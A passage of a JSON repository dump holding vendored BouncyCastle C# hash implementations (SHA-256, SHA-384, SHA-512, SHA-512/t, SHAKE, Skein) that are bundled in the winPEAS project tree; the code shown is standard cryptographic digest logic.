8);\n            Pack.UInt32_To_BE((uint)H4, output, outOff + 12);\n            Pack.UInt32_To_BE((uint)H5, output, outOff + 16);\n            Pack.UInt32_To_BE((uint)H6, output, outOff + 20);\n            Pack.UInt32_To_BE((uint)H7, output, outOff + 24);\n            Pack.UInt32_To_BE((uint)H8, output, outOff + 28);\n\n            Reset();\n\n            return DigestLength;\n        }\n\n        /**\n        * reset the chaining variables\n        */\n        public override void Reset()\n        {\n            base.Reset();\n\n\t\t\tinitHs();\n\n            xOff = 0;\n\t\t\tArray.Clear(X, 0, X.Length);\n        }\n\n\t\tprivate void initHs()\n\t\t{\n            /* SHA-256 initial hash value\n            * The first 32 bits of the fractional parts of the square roots\n            * of the first eight prime numbers\n            */\n            H1 = 0x6a09e667;\n            H2 = 0xbb67ae85;\n            H3 = 0x3c6ef372;\n            H4 = 0xa54ff53a;\n            H5 = 0x510e527f;\n            H6 = 0x9b05688c;\n            H7 = 0x1f83d9ab;\n            H8 = 0x5be0cd19;\n\t\t}\n\n        internal override void ProcessBlock()\n        {\n            //\n            // expand 16 word block into 64 word blocks.\n            //\n            for (int ti = 16; ti <= 63; ti++)\n            {\n                X[ti] = Theta1(X[ti - 2]) + X[ti - 7] + Theta0(X[ti - 15]) + X[ti - 16];\n            }\n\n            //\n            // set up working variables.\n            //\n            uint a = H1;\n            uint b = H2;\n            uint c = H3;\n            uint d = H4;\n            uint e = H5;\n            uint f = H6;\n            uint g = H7;\n            uint h = H8;\n\n\t\t\tint t = 0;\n\t\t\tfor(int i = 0; i < 8; ++i)\n\t\t\t{\n\t\t\t\t// t = 8 * i\n\t\t\t\th += Sum1Ch(e, f, g) + K[t] + X[t];\n\t\t\t\td += h;\n\t\t\t\th += Sum0Maj(a, b, c);\n\t\t\t\t++t;\n\n\t\t\t\t// t = 8 * i + 1\n\t\t\t\tg += Sum1Ch(d, e, f) + K[t] + X[t];\n\t\t\t\tc += g;\n\t\t\t\tg += Sum0Maj(h, a, b);\n\t\t\t\t++t;\n\n\t\t\t\t// t = 8 * i + 2\n\t\t\t\tf += Sum1Ch(c, d, e) + K[t] + X[t];\n\t\t\t\tb += f;\n\t\t\t\tf += Sum0Maj(g, h, a);\n\t\t\t\t++t;\n\n\t\t\t\t// t = 8 * i + 3\n\t\t\t\te += Sum1Ch(b, c, d) + K[t] + X[t];\n\t\t\t\ta += e;\n\t\t\t\te += Sum0Maj(f, g, h);\n\t\t\t\t++t;\n\n\t\t\t\t// t = 8 * i + 4\n\t\t\t\td += Sum1Ch(a, b, c) + K[t] + X[t];\n\t\t\t\th += d;\n\t\t\t\td += Sum0Maj(e, f, g);\n\t\t\t\t++t;\n\n\t\t\t\t// t = 8 * i + 5\n\t\t\t\tc += Sum1Ch(h, a, b) + K[t] + X[t];\n\t\t\t\tg += c;\n\t\t\t\tc += Sum0Maj(d, e, f);\n\t\t\t\t++t;\n\n\t\t\t\t// t = 8 * i + 6\n\t\t\t\tb += Sum1Ch(g, h, a) + K[t] + X[t];\n\t\t\t\tf += b;\n\t\t\t\tb += Sum0Maj(c, d, e);\n\t\t\t\t++t;\n\n\t\t\t\t// t = 8 * i + 7\n\t\t\t\ta += Sum1Ch(f, g, h) + K[t] + X[t];\n\t\t\t\te += a;\n\t\t\t\ta += Sum0Maj(b, c, d);\n\t\t\t\t++t;\n\t\t\t}\n\n\t\t\tH1 += a;\n            H2 += b;\n            H3 += c;\n            H4 += d;\n            H5 += e;\n            H6 += f;\n            H7 += g;\n            H8 += h;\n\n            //\n            // reset the offset and clean out the word buffer.\n            //\n            xOff = 0;\n\t\t\tArray.Clear(X, 0, 16);\n        }\n\n\t\tprivate static uint Sum1Ch(uint x, uint y, uint z)\n\t\t{\n//\t\t\treturn Sum1(x) + Ch(x, y, z);\n\t        return (((x >> 6) | (x << 26)) ^ ((x >> 11) | (x << 21)) ^ ((x >> 25) | (x << 7)))\n                //+ ((x & y) ^ ((~x) & z));\n                + (z ^ (x & (y ^ z)));\n        }\n\n\t\tprivate static uint Sum0Maj(uint x, uint y, uint z)\n\t\t{\n//\t\t\treturn Sum0(x) + Maj(x, y, z);\n\t        return (((x >> 2) | (x << 30)) ^ ((x >> 13) | (x << 19)) ^ ((x >> 22) | (x << 10)))\n                //+ ((x & y) ^ (x & z) ^ (y & z));\n                + ((x & y) | (z & (x ^ y)));\n        }\n\n//\t\t/* SHA-256 functions */\n//        private static uint Ch(uint x, uint y, uint z)\n//        {\n//            return (x & y) ^ ((~x) & z);\n//            //return z ^ (x & (y ^ z));\n//        }\n//\n//        private static uint Maj(uint x, uint y, uint z)\n//        {\n//            //return (x & y) ^ (x & z) ^ (y & z);\n//            return (x & y) | (z & (x ^ y));\n//        }\n//\n//        private static uint Sum0(uint x)\n//        {\n//\t        return ((x >> 2) | (x << 30)) ^ ((x >> 13) | (x << 19)) ^ ((x >> 22) | (x << 10));\n//        }\n//\n//        private static uint Sum1(uint x)\n//        {\n//\t        return ((x >> 6) | (x << 26)) ^ ((x >> 11) | (x << 21)) ^ ((x >> 25) | (x << 7));\n//        }\n\n        private static uint Theta0(uint x)\n        {\n\t        return ((x >> 7) | (x << 25)) ^ ((x >> 18) | (x << 14)) ^ (x >> 3);\n        }\n\n        private static uint Theta1(uint x)\n        {\n\t        return ((x >> 17) | (x << 15)) ^ ((x >> 19) | (x << 13)) ^ (x >> 10);\n        }\n\n        /* SHA-256 Constants\n        * (represent the first 32 bits of the fractional parts of the\n        * cube roots of the first sixty-four prime numbers)\n        */\n        private static readonly uint[] K = {\n            0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5,\n\t\t\t0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,\n            0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,\n            0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,\n            0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc,\n            0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,\n            0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7,\n            0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,\n            0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,\n            0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,\n            0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3,\n            0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,\n            0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5,\n            0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,\n            0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,\n            0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2\n        };\n\t\t\n\t\tpublic override IMemoable Copy()\n\t\t{\n\t\t\treturn new Sha256Digest(this);\n\t\t}\n\n\t\tpublic override void Reset(IMemoable other)\n\t\t{\n\t\t\tSha256Digest d = (Sha256Digest)other;\n\n\t\t\tCopyIn(d);\n\t\t}\n\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/Sha384Digest.cs",
    "content": "using winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    /**\n     * Draft FIPS 180-2 implementation of SHA-384. <b>Note:</b> As this is\n     * based on a draft this implementation is subject to change.\n     *\n     * <pre>\n     *         block  word  digest\n     * SHA-1   512    32    160\n     * SHA-256 512    32    256\n     * SHA-384 1024   64    384\n     * SHA-512 1024   64    512\n     * </pre>\n     */\n    public class Sha384Digest\n\t\t: LongDigest\n    {\n        private const int DigestLength = 48;\n\n\t\tpublic Sha384Digest()\n        {\n        }\n\n        /**\n         * Copy constructor.  This will copy the state of the provided\n         * message digest.\n         */\n        public Sha384Digest(\n\t\t\tSha384Digest t)\n\t\t\t: base(t)\n\t\t{\n\t\t}\n\n\t\tpublic override string AlgorithmName\n\t\t{\n\t\t\tget { return \"SHA-384\"; }\n\t\t}\n\n\t\tpublic override int GetDigestSize()\n\t\t{\n\t\t\treturn DigestLength;\n\t\t}\n\n\t\tpublic override int DoFinal(\n            byte[]  output,\n            int     outOff)\n        {\n            Finish();\n\n            Pack.UInt64_To_BE(H1, output, outOff);\n            Pack.UInt64_To_BE(H2, output, outOff + 8);\n            Pack.UInt64_To_BE(H3, output, outOff + 16);\n            Pack.UInt64_To_BE(H4, output, outOff + 24);\n            Pack.UInt64_To_BE(H5, output, outOff + 32);\n            Pack.UInt64_To_BE(H6, output, outOff + 40);\n\n            Reset();\n\n            return DigestLength;\n        }\n\n        /**\n        * reset the chaining variables\n        */\n        public override void Reset()\n        {\n            base.Reset();\n\n            /* SHA-384 initial hash value\n                * The first 64 bits of the fractional parts of the square roots\n                * of the 9th through 16th prime numbers\n                */\n            H1 = 0xcbbb9d5dc1059ed8;\n            H2 = 0x629a292a367cd507;\n            H3 = 0x9159015a3070dd17;\n            H4 = 0x152fecd8f70e5939;\n            H5 = 0x67332667ffc00b31;\n            H6 = 0x8eb44a8768581511;\n            H7 = 0xdb0c2e0d64f98fa7;\n            H8 = 0x47b5481dbefa4fa4;\n        }\n\t\t\n\t\tpublic override IMemoable Copy()\n\t\t{\n\t\t\treturn new Sha384Digest(this);\n\t\t}\n\n\t\tpublic override void Reset(IMemoable other)\n\t\t{\n\t\t\tSha384Digest d = (Sha384Digest)other;\n\n\t\t\tCopyIn(d);\n\t\t}\n\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/Sha512Digest.cs",
    "content": "using winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    /**\n     * Draft FIPS 180-2 implementation of SHA-512. <b>Note:</b> As this is\n     * based on a draft this implementation is subject to change.\n     *\n     * <pre>\n     *         block  word  digest\n     * SHA-1   512    32    160\n     * SHA-256 512    32    256\n     * SHA-384 1024   64    384\n     * SHA-512 1024   64    512\n     * </pre>\n     */\n    public class Sha512Digest\n        : LongDigest\n    {\n        private const int DigestLength = 64;\n\n        public Sha512Digest()\n        {\n        }\n\n        /**\n         * Copy constructor.  This will copy the state of the provided\n         * message digest.\n         */\n        public Sha512Digest(\n            Sha512Digest t)\n            : base(t)\n        {\n        }\n\n        public override string AlgorithmName\n        {\n            get { return \"SHA-512\"; }\n        }\n\n        public override int GetDigestSize()\n        {\n            return DigestLength;\n        }\n\n        public override int DoFinal(\n            byte[]  output,\n            int     outOff)\n        {\n            Finish();\n\n            Pack.UInt64_To_BE(H1, output, outOff);\n            Pack.UInt64_To_BE(H2, output, outOff + 8);\n            Pack.UInt64_To_BE(H3, output, outOff + 16);\n            Pack.UInt64_To_BE(H4, output, outOff + 24);\n            Pack.UInt64_To_BE(H5, output, outOff + 32);\n            Pack.UInt64_To_BE(H6, output, outOff + 40);\n            Pack.UInt64_To_BE(H7, output, outOff + 48);\n            Pack.UInt64_To_BE(H8, output, outOff + 56);\n\n            Reset();\n\n            return DigestLength;\n\n        }\n\n        /**\n        * reset the chaining variables\n        */\n        public override void Reset()\n        {\n            base.Reset();\n\n            /* SHA-512 initial hash value\n             * The first 64 bits of the fractional parts of the square roots\n             * of the first eight prime numbers\n             */\n            H1 = 0x6a09e667f3bcc908;\n            H2 = 0xbb67ae8584caa73b;\n            H3 = 0x3c6ef372fe94f82b;\n            H4 = 0xa54ff53a5f1d36f1;\n            H5 = 0x510e527fade682d1;\n            H6 = 0x9b05688c2b3e6c1f;\n            H7 = 0x1f83d9abfb41bd6b;\n            H8 = 0x5be0cd19137e2179;\n        }\n\t\t\n\t\tpublic override IMemoable Copy()\n\t\t{\n\t\t\treturn new Sha512Digest(this);\n\t\t}\n\n\t\tpublic override void Reset(IMemoable other)\n\t\t{\n\t\t\tSha512Digest d = (Sha512Digest)other;\n\n\t\t\tCopyIn(d);\n\t\t}\n\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/Sha512tDigest.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    /**\n     * FIPS 180-4 implementation of SHA-512/t\n     */\n    public class Sha512tDigest\n        : LongDigest\n    {\n        private const ulong A5 = 0xa5a5a5a5a5a5a5a5UL;\n\n        private readonly int digestLength;\n\n        private ulong H1t, H2t, H3t, H4t, H5t, H6t, H7t, H8t;\n\n        /**\n         * Standard constructor\n         */\n        public Sha512tDigest(int bitLength)\n        {\n            if (bitLength >= 512)\n                throw new ArgumentException(\"cannot be >= 512\", \"bitLength\");\n            if (bitLength % 8 != 0)\n                throw new ArgumentException(\"needs to be a multiple of 8\", \"bitLength\");\n            if (bitLength == 384)\n                throw new ArgumentException(\"cannot be 384 use SHA384 instead\", \"bitLength\");\n\n            this.digestLength = bitLength / 8;\n\n            tIvGenerate(digestLength * 8);\n\n            Reset();\n        }\n\n        /**\n         * Copy constructor.  This will copy the state of the provided\n         * message digest.\n         */\n        public Sha512tDigest(Sha512tDigest t)\n            : base(t)\n        {\n            this.digestLength = t.digestLength;\n\n\t\t\tReset(t);\n        }\n\n        public override string AlgorithmName\n        {\n            get { return \"SHA-512/\" + (digestLength * 8); }\n        }\n\n        public override int GetDigestSize()\n        {\n            return digestLength;\n        }\n\n        public override int DoFinal(byte[] output, int outOff)\n        {\n            Finish();\n\n            UInt64_To_BE(H1, output, outOff, digestLength);\n            UInt64_To_BE(H2, output, outOff + 8, digestLength - 8);\n            UInt64_To_BE(H3, output, outOff + 16, digestLength - 16);\n            UInt64_To_BE(H4, output, outOff + 24, digestLength - 24);\n            UInt64_To_BE(H5, output, outOff + 32, digestLength - 32);\n            UInt64_To_BE(H6, output, outOff + 40, digestLength - 40);\n            UInt64_To_BE(H7, output, outOff + 48, digestLength - 48);\n            UInt64_To_BE(H8, output, outOff + 56, digestLength - 56);\n\n            Reset();\n\n            return digestLength;\n        }\n\n        /**\n         * reset the chaining variables\n         */\n        public override void Reset()\n        {\n            base.Reset();\n\n            /*\n             * initial hash values use the iv generation algorithm for t.\n             */\n            H1 = H1t;\n            H2 = H2t;\n            H3 = H3t;\n            H4 = H4t;\n            H5 = H5t;\n            H6 = H6t;\n            H7 = H7t;\n            H8 = H8t;\n        }\n\n        private void tIvGenerate(int bitLength)\n        {\n            H1 = 0x6a09e667f3bcc908UL ^ A5;\n            H2 = 0xbb67ae8584caa73bUL ^ A5;\n            H3 = 0x3c6ef372fe94f82bUL ^ A5;\n            H4 = 0xa54ff53a5f1d36f1UL ^ A5;\n            H5 = 0x510e527fade682d1UL ^ A5;\n            H6 = 0x9b05688c2b3e6c1fUL ^ A5;\n            H7 = 0x1f83d9abfb41bd6bUL ^ A5;\n            H8 = 0x5be0cd19137e2179UL ^ A5;\n\n            Update(0x53);\n            Update(0x48);\n            Update(0x41);\n            Update(0x2D);\n            Update(0x35);\n            Update(0x31);\n            Update(0x32);\n            Update(0x2F);\n\n            if (bitLength > 100)\n            {\n                Update((byte)(bitLength / 100 + 0x30));\n                bitLength = bitLength % 100;\n                Update((byte)(bitLength / 10 + 0x30));\n                bitLength = bitLength % 10;\n                Update((byte)(bitLength + 0x30));\n            }\n            else if (bitLength > 10)\n            {\n                Update((byte)(bitLength / 10 + 0x30));\n                bitLength = bitLength % 10;\n                Update((byte)(bitLength + 0x30));\n            }\n            else\n            {\n                Update((byte)(bitLength + 0x30));\n            }\n\n            Finish();\n\n            H1t = H1;\n            H2t = H2;\n            H3t = H3;\n            H4t = H4;\n            H5t = H5;\n            H6t = H6;\n            H7t = H7;\n            H8t = H8;\n        }\n\n        private static void UInt64_To_BE(ulong n, byte[] bs, int off, int max)\n        {\n            if (max > 0)\n            {\n                UInt32_To_BE((uint)(n >> 32), bs, off, max);\n\n                if (max > 4)\n                {\n                    UInt32_To_BE((uint)n, bs, off + 4, max - 4);\n                }\n            }\n        }\n\n        private static void UInt32_To_BE(uint n, byte[] bs, int off, int max)\n        {\n            int num = System.Math.Min(4, max);\n            while (--num >= 0)\n            {\n                int shift = 8 * (3 - num);\n                bs[off + num] = (byte)(n >> shift);\n            }\n        }\n\n\t\tpublic override IMemoable Copy()\n\t\t{\n\t\t\treturn new Sha512tDigest(this);\n\t\t}\n\n\t\tpublic override void Reset(IMemoable other)\n\t\t{\n\t\t\tSha512tDigest t = (Sha512tDigest)other;\n\n\t\t\tif (this.digestLength != t.digestLength)\n\t\t\t{\n\t\t\t\tthrow new MemoableResetException(\"digestLength inappropriate in other\");\n\t\t\t}\n\n\t\t\tbase.CopyIn(t);\n\n\t\t\tthis.H1t = t.H1t;\n\t\t\tthis.H2t = t.H2t;\n\t\t\tthis.H3t = t.H3t;\n\t\t\tthis.H4t = t.H4t;\n\t\t\tthis.H5t = t.H5t;\n\t\t\tthis.H6t = t.H6t;\n\t\t\tthis.H7t = t.H7t;\n\t\t\tthis.H8t = t.H8t;\n\t\t}\n\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/ShakeDigest.cs",
    "content": "﻿using System;\nusing System.Diagnostics;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    /// <summary>\n    /// Implementation of SHAKE based on following KeccakNISTInterface.c from http://keccak.noekeon.org/\n    /// </summary>\n    /// <remarks>\n    /// Following the naming conventions used in the C source code to enable easy review of the implementation.\n    /// </remarks>\n    public class ShakeDigest\n        : KeccakDigest, IXof\n    {\n        private static int CheckBitLength(int bitLength)\n        {\n            switch (bitLength)\n            {\n            case 128:\n            case 256:\n                return bitLength;\n            default:\n                throw new ArgumentException(bitLength + \" not supported for SHAKE\", \"bitLength\");\n            }\n        }\n\n        public ShakeDigest()\n            : this(128)\n        {\n        }\n\n        public ShakeDigest(int bitLength)\n            : base(CheckBitLength(bitLength))\n        {\n        }\n\n        public ShakeDigest(ShakeDigest source)\n            : base(source)\n        {\n        }\n\n        public override string AlgorithmName\n        {\n            get { return \"SHAKE\" + fixedOutputLength; }\n        }\n\n        public override int DoFinal(byte[] output, int outOff)\n        {\n            return DoFinal(output, outOff, GetDigestSize());\n        }\n\n        public virtual int DoFinal(byte[] output, int outOff, int outLen)\n        {\n            DoOutput(output, outOff, outLen);\n\n            Reset();\n\n            return outLen;\n        }\n\n        public virtual int DoOutput(byte[] output, int outOff, int outLen)\n        {\n            if (!squeezing)\n            {\n                AbsorbBits(0x0F, 4);\n            }\n\n            Squeeze(output, outOff, (long)outLen << 3);\n\n            return outLen;\n        }\n\n        /*\n         * TODO Possible API change to support partial-byte suffixes.\n         */\n        protected override int DoFinal(byte[] output, int outOff, byte partialByte, int partialBits)\n        {\n            return DoFinal(output, outOff, GetDigestSize(), partialByte, partialBits);\n        }\n\n        /*\n         * TODO Possible API change to support partial-byte suffixes.\n         */\n        protected virtual int DoFinal(byte[] output, int outOff, int outLen, byte partialByte, int partialBits)\n        {\n            if (partialBits < 0 || partialBits > 7)\n                throw new ArgumentException(\"must be in the range [0,7]\", \"partialBits\");\n\n            int finalInput = (partialByte & ((1 << partialBits) - 1)) | (0x0F << partialBits);\n            Debug.Assert(finalInput >= 0);\n            int finalBits = partialBits + 4;\n\n            if (finalBits >= 8)\n            {\n                Absorb((byte)finalInput);\n                finalBits -= 8;\n                finalInput >>= 8;\n            }\n\n            if (finalBits > 0)\n            {\n                AbsorbBits(finalInput, finalBits);\n            }\n\n            Squeeze(output, outOff, (long)outLen << 3);\n\n            Reset();\n\n            return outLen;\n        }\n\n        public override IMemoable Copy()\n        {\n            return new ShakeDigest(this);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/ShortenedDigest.cs",
    "content": "using System;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n\t/**\n\t* Wrapper class that reduces the output length of a particular digest to\n\t* only the first n bytes of the digest function.\n\t*/\n\tpublic class ShortenedDigest\n\t\t: IDigest\n\t{\n\t\tprivate IDigest\tbaseDigest;\n\t\tprivate int\t\tlength;\n\n\t\t/**\n\t\t* Base constructor.\n\t\t*\n\t\t* @param baseDigest underlying digest to use.\n\t\t* @param length length in bytes of the output of doFinal.\n\t\t* @exception ArgumentException if baseDigest is null, or length is greater than baseDigest.GetDigestSize().\n\t\t*/\n\t\tpublic ShortenedDigest(\n\t\t\tIDigest\tbaseDigest,\n\t\t\tint\t\tlength)\n\t\t{\n\t\t\tif (baseDigest == null)\n\t\t\t{\n\t\t\t\tthrow new ArgumentNullException(\"baseDigest\");\n\t\t\t}\n\n\t\t\tif (length > baseDigest.GetDigestSize())\n\t\t\t{\n\t\t\t\tthrow new ArgumentException(\"baseDigest output not large enough to support length\");\n\t\t\t}\n\n\t\t\tthis.baseDigest = baseDigest;\n\t\t\tthis.length = length;\n\t\t}\n\n\t\tpublic string AlgorithmName\n\t\t{\n\t\t\tget { return baseDigest.AlgorithmName + \"(\" + length * 8 + \")\"; }\n\t\t}\n\n\t\tpublic int GetDigestSize()\n\t\t{\n\t\t\treturn length;\n\t\t}\n\n\t\tpublic void Update(byte input)\n\t\t{\n\t\t\tbaseDigest.Update(input);\n\t\t}\n\n\t\tpublic void BlockUpdate(byte[] input, int inOff, int length)\n\t\t{\n\t\t\tbaseDigest.BlockUpdate(input, inOff, length);\n\t\t}\n\n\t\tpublic int DoFinal(byte[] output, int outOff)\n\t\t{\n\t\t\tbyte[] tmp = new byte[baseDigest.GetDigestSize()];\n\n\t\t\tbaseDigest.DoFinal(tmp, 0);\n\n\t        Array.Copy(tmp, 0, output, outOff, length);\n\n\t\t\treturn length;\n\t\t}\n\n\t\tpublic void Reset()\n\t\t{\n\t\t\tbaseDigest.Reset();\n\t\t}\n\n\t\tpublic int GetByteLength()\n\t\t{\n\t\t\treturn baseDigest.GetByteLength();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/SkeinDigest.cs",
    "content": "using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.parameters;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n\n\t/// <summary>\n\t/// Implementation of the Skein parameterised hash function in 256, 512 and 1024 bit block sizes,\n\t/// based on the <see cref=\"Org.BouncyCastle.Crypto.Engines.ThreefishEngine\">Threefish</see> tweakable block cipher.\n\t/// </summary>\n\t/// <remarks>\n\t/// This is the 1.3 version of Skein defined in the Skein hash function submission to the NIST SHA-3\n\t/// competition in October 2010.\n\t/// <p/>\n\t/// Skein was designed by Niels Ferguson - Stefan Lucks - Bruce Schneier - Doug Whiting - Mihir\n\t/// Bellare - Tadayoshi Kohno - Jon Callas - Jesse Walker.\n\t/// </remarks>\n\t/// <seealso cref=\"Org.BouncyCastle.Crypto.Digests.SkeinEngine\"/>\n\t/// <seealso cref=\"Org.BouncyCastle.Crypto.Parameters.SkeinParameters\"/>\n\tpublic class SkeinDigest\n\t\t: IDigest, IMemoable\n\t{\n\t\t/// <summary>\n\t\t/// 256 bit block size - Skein-256\n\t\t/// </summary>\n\t\tpublic const int SKEIN_256 = SkeinEngine.SKEIN_256;\n\t\t/// <summary>\n\t\t/// 512 bit block size - Skein-512\n\t\t/// </summary>\n\t\tpublic const int SKEIN_512 = SkeinEngine.SKEIN_512;\n\t\t/// <summary>\n\t\t/// 1024 bit block size - Skein-1024\n\t\t/// </summary>\n\t\tpublic const int SKEIN_1024 = SkeinEngine.SKEIN_1024;\n\n\t\tprivate readonly SkeinEngine engine;\n\n\t\t/// <summary>\n\t\t/// Constructs a Skein digest with an internal state size and output size.\n\t\t/// </summary>\n\t\t/// <param name=\"stateSizeBits\">the internal state size in bits - one of <see cref=\"SKEIN_256\"/> <see cref=\"SKEIN_512\"/> or\n\t\t///                       <see cref=\"SKEIN_1024\"/>.</param>\n\t\t/// <param name=\"digestSizeBits\">the output/digest size to produce in bits, which must be an integral number of\n\t\t///                      bytes.</param>\n\t\tpublic SkeinDigest(int stateSizeBits, int digestSizeBits)\n\t\t{\n\t\t\tthis.engine = new SkeinEngine(stateSizeBits, digestSizeBits);\n\t\t\tInit(null);\n\t\t}\n\n\t\tpublic SkeinDigest(SkeinDigest digest)\n\t\t{\n\t\t\tthis.engine = new SkeinEngine(digest.engine);\n\t\t}\n\n\t\tpublic void Reset(IMemoable other)\n\t\t{\n\t\t\tSkeinDigest d = (SkeinDigest)other;\n\t\t\tengine.Reset(d.engine);\n\t\t}\n\n\t\tpublic IMemoable Copy()\n\t\t{\n\t\t\treturn new SkeinDigest(this);\n\t\t}\n\n\t\tpublic String AlgorithmName\n\t\t{\n\t\t\tget { return \"Skein-\" + (engine.BlockSize * 8) + \"-\" + (engine.OutputSize * 8); }\n\t\t}\n\n\t\tpublic int GetDigestSize()\n\t\t{\n\t\t\treturn engine.OutputSize;\n\t\t}\n\n\t\tpublic int GetByteLength()\n\t\t{\n\t\t\treturn engine.BlockSize;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Optionally initialises the Skein digest with the provided parameters.\n\t\t/// </summary>\n\t\t/// See <see cref=\"Org.BouncyCastle.Crypto.Parameters.SkeinParameters\"></see> for details on the parameterisation of the Skein hash function.\n\t\t/// <param name=\"parameters\">the parameters to apply to this engine, or <code>null</code> to use no parameters.</param>\n\t\tpublic void Init(SkeinParameters parameters)\n\t\t{\n\t\t\tengine.Init(parameters);\n\t\t}\n\n\t\tpublic void Reset()\n\t\t{\n\t\t\tengine.Reset();\n\t\t}\n\n\t\tpublic void Update(byte inByte)\n\t\t{\n\t\t\tengine.Update(inByte);\n\t\t}\n\n\t\tpublic void BlockUpdate(byte[] inBytes, int inOff, int len)\n\t\t{\n\t\t\tengine.Update(inBytes, inOff, len);\n\t\t}\n\n\t\tpublic int DoFinal(byte[] outBytes, int outOff)\n\t\t{\n\t\t\treturn engine.DoFinal(outBytes, outOff);\n\t\t}\n\n\t}\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/SkeinEngine.cs",
    "content": "using System;\nusing System.Collections;\nusing winPEAS._3rdParty.BouncyCastle.crypto.engines;\nusing winPEAS._3rdParty.BouncyCastle.crypto.parameters;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n\n    /// <summary>\n    /// Implementation of the Skein family of parameterised hash functions in 256, 512 and 1024 bit block\n    /// sizes, based on the <see cref=\"Org.BouncyCastle.Crypto.Engines.ThreefishEngine\">Threefish</see> tweakable block cipher.\n    /// </summary>\n    /// <remarks>\n    /// This is the 1.3 version of Skein defined in the Skein hash function submission to the NIST SHA-3\n    /// competition in October 2010.\n    /// <p/>\n    /// Skein was designed by Niels Ferguson - Stefan Lucks - Bruce Schneier - Doug Whiting - Mihir\n    /// Bellare - Tadayoshi Kohno - Jon Callas - Jesse Walker.\n    /// <p/>\n    /// This implementation is the basis for <see cref=\"Org.BouncyCastle.Crypto.Digests.SkeinDigest\"/> and <see cref=\"Org.BouncyCastle.Crypto.Macs.SkeinMac\"/>, implementing the\n    /// parameter based configuration system that allows Skein to be adapted to multiple applications. <br/>\n    /// Initialising the engine with <see cref=\"Org.BouncyCastle.Crypto.Parameters.SkeinParameters\"/> allows standard and arbitrary parameters to\n    /// be applied during the Skein hash function.\n    /// <p/>\n    /// Implemented:\n    /// <ul>\n    /// <li>256, 512 and 1024 bit internal states.</li>\n    /// <li>Full 96 bit input length.</li>\n    /// <li>Parameters defined in the Skein specification, and arbitrary other pre and post message\n    /// parameters.</li>\n    /// <li>Arbitrary output size in 1 byte intervals.</li>\n    /// </ul>\n    /// <p/>\n    /// Not implemented:\n    /// <ul>\n    /// <li>Sub-byte length input (bit padding).</li>\n    /// <li>Tree hashing.</li>\n    /// </ul>\n    /// </remarks>\n    /// <seealso cref=\"Org.BouncyCastle.Crypto.Parameters.SkeinParameters\"/>\n    public class SkeinEngine\n        : IMemoable\n    {\n        /// <summary>\n        /// 256 bit block size - Skein-256\n        /// </summary>\n        public const int SKEIN_256 = ThreefishEngine.BLOCKSIZE_256;\n        /// <summary>\n        /// 512 bit block size - Skein-512\n        /// </summary>\n        public const int SKEIN_512 = ThreefishEngine.BLOCKSIZE_512;\n        /// <summary>\n        /// 1024 bit block size - Skein-1024\n        /// </summary>\n        public const int SKEIN_1024 = ThreefishEngine.BLOCKSIZE_1024;\n\n        // Minimal at present, but more complex when tree hashing is implemented\n        private class Configuration\n        {\n            private byte[] bytes = new byte[32];\n\n            public Configuration(long outputSizeBits)\n            {\n                // 0..3 = ASCII SHA3\n                bytes[0] = (byte)'S';\n                bytes[1] = (byte)'H';\n                bytes[2] = (byte)'A';\n                bytes[3] = (byte)'3';\n\n                // 4..5 = version number in LSB order\n                bytes[4] = 1;\n                bytes[5] = 0;\n\n                // 8..15 = output length\n                ThreefishEngine.WordToBytes((ulong)outputSizeBits, bytes, 8);\n            }\n\n            public byte[] Bytes\n            {\n                get { return bytes; }\n            }\n\n        }\n\n        public class Parameter\n        {\n            private int type;\n            private byte[] value;\n\n            public Parameter(int type, byte[] value)\n            {\n                this.type = type;\n                this.value = value;\n            }\n\n            public int Type\n            {\n             